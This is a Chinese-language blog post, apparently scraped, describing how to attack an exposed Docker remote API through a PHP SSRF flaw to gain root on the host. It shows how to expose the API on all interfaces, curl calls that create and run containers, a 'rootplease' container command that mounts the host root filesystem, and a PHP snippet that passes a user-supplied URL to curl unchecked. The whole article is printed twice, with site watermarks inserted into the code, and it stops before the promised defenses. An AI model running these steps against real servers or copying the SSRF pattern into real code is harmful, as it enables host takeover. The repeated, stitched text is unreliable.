通过SSRF漏洞攻击Docker远程API获取服务器Root权限
这几天笔者在做关于自动化部署Docker镜像方面的项目,从而接触到了Docker的API,而Docker的API也可以通过TCP连接的形式来进行访问。从一个安全爱好者的角度出发,是否可以利用Docker的远程API来实现提权等一系列的操作?查找了各种资料之后,最后笔者探索到了一条通过SSRF漏洞来攻击Docker远程API,从而获得远程主机的root权限的攻击思路,通过这篇文章来分享一下整个过程及其防范的方法。
1. Docker远程API介绍
Docker远程API是Docker团队为了方便用户远程管理Docker而提供的一套API接口。在默认的情况下,Docker Daemon运行于Unix Socket上,通常为unix:///var/run/docker.sock。
当需要远程管理Docker服务器或者是创建Docker集群时,可能需要开启Docker的远程API。在Ubuntu上的一种开启方法如下:
编辑/lib/systemd/system/docker.service文件,修改ExecStart一行:
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576
之后再重启docker:
sudo service docker restart
然后就可以利用Docker客户端或者任意http客户端访问Docker服务,例如:
可以看到Docker提供的API实质上是一个RSTful形式的http接口,具体的文档可以从Docker的官网获取:Engine API V1.24。
这里列出几个重要的接口:
列出所有的容器:
$ curl http:/localhost:4243/v1.24/containers/json
列出所有镜像:
$ curl http:/localhost:4243/v1.24/images/json[{
"Id":"sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd",
"ParentId":"sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96",
...
}]
创建并运行容器:
$ curl -H "Content-Type: application/json" \
-d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}' \
-X POST http:/localhost:4243/v1.24/containers/create
{"Id":"1c6594faf5","Warnings":null}
$ curl -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start
http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{"StatusCode":0}
$ curl "http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1"
hello world
到了这里,我们可以看到如果开放了Docker远程API,我们便可以使用RESTful接口来实现一系列Docker容器操作。
2. 利用docker容器提权
有些朋友可能会问了:Docker容器内部是一个与主机隔离的虚拟化环境,怎样才能利用Docker容器获取主机控制权?这里就涉及到Docker运行时的用户权限了。Docker Daemon运行时是以root用户运行,因而具有极高的权限:
$ ps aux|grep dockerd
root 1723 0.1 0.8 563472 68900 ? Ssl 17:17 0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image 25504 0.0 0.0 15984 936 pts/3 S+ 21:12 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn dockerd
那么怎样通过Docker Daemon最终获得服务器的root权限?这里我们可以利用Docker挂载宿主机文件的功能,直接挂载高权限目录,从而在容器内部获取宿主机的控制权限。
这里有一个黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
运行后的输出如下:
退出Docker,查看宿主机/root/目录:
我们可以看到成功在/root文件夹写入了一个文件。
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease主要的作用是:从 Docker Hub上面下载我们指定的镜像,然后运行。参数 -v 将容器外部的目录/挂载到容器内部 /hostOS,并且使用-i和-t 参数进入容器的shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh,主要内容便是chroot到/hostOS中。这样我们便通过读写宿主机的任意文件实现了获取宿主机的最高权限。这个镜像的源码可以在 Github上获取。
3. 通过SSRF完成攻击
这里我们的服务器端环境如下:
在PHP中经常出现,导致SSRF漏洞的代码实现:
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
这几天笔者在做关于自动化部署Docker镜像方面的项目,从而接触到了Docker的API,而Docker的API也可以通过TCP连接的形式来进行访问。从一个安全爱好者的角度出发,是否可以利用Docker的远程API来实现提权等一系列的操作?查找了各种资料之后,最后笔者探索到了一条通过SSRF漏洞来攻击Docker远程API,从而获得远程主机的root权限的攻击思路,通过这篇文章来分享一下整个过程及其防范的方法。
1. Docker远程API介绍
Docker远程API是Docker团队为了方便用户远程管理Docker而提供的一套API接口。在默认的情况下,Docker Daemon运行于Unix Socket上,通常为unix:///var/run/docker.sock。
当需要远程管理Docker服务器或者是创建Docker集群时,可能需要开启Docker的远程API。在Ubuntu上的一种开启方法如下:
编辑/lib/systemd/system/docker.service文件,修改ExecStart一行:
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker 本文来自无奈人生安全网
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576
之后再重启docker:
sudo service docker restart
然后就可以利用Docker客户端或者任意http客户端访问Docker服务,例如:
可以看到Docker提供的API实质上是一个RSTful形式的http接口,具体的文档可以从Docker的官网获取:Engine API V1.24。
这里列出几个重要的接口:
列出所有的容器:
$ curl http:/localhost:4243/v1.24/containers/json
列出所有镜像:
$ curl http:/localhost:4243/v1.24/images/json[{
"Id":"sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd",
"ParentId":"sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96",
...
}]
创建并运行容器:
$ curl -H "Content-Type: application/json" \ 无奈人生安全网
-d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}' \
-X POST http:/localhost:4243/v1.24/containers/create
{"Id":"1c6594faf5","Warnings":null}
$ curl -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start
http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{"StatusCode":0}
$ curl "http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1"
hello world
到了这里,我们可以看到如果开放了Docker远程API,我们便可以使用RESTful接口来实现一系列Docker容器操作。
2. 利用docker容器提权
有些朋友可能会问了:Docker容器内部是一个与主机隔离的虚拟化环境,怎样才能利用Docker容器获取主机控制权?这里就涉及到Docker运行时的用户权限了。Docker Daemon运行时是以root用户运行,因而具有极高的权限:
$ ps aux|grep dockerd
root 1723 0.1 0.8 563472 68900 ? Ssl 17:17 0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image 25504 0.0 0.0 15984 936 pts/3 S+ 21:12 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn dockerd
那么怎样通过Docker Daemon最终获得服务器的root权限?这里我们可以利用Docker挂载宿主机文件的功能,直接挂载高权限目录,从而在容器内部获取宿主机的控制权限。
这里有一个黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
运行后的输出如下:
退出Docker,查看宿主机/root/目录:
我们可以看到成功在/root文件夹写入了一个文件。
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease主要的作用是:从 Docker Hub上面下载我们指定的镜像,然后运行。参数 -v 将容器外部的目录/挂载到容器内部 /hostOS,并且使用-i和-t 参数进入容器的shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh,主要内容便是chroot到/hostOS中。这样我们便通过读写宿主机的任意文件实现了获取宿主机的最高权限。这个镜像的源码可以在 Github上获取。 内容来自无奈安全网
3. 通过SSRF完成攻击
这里我们的服务器端环境如下:
在PHP中经常出现,导致SSRF漏洞的代码实现:
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
www.wnhack.com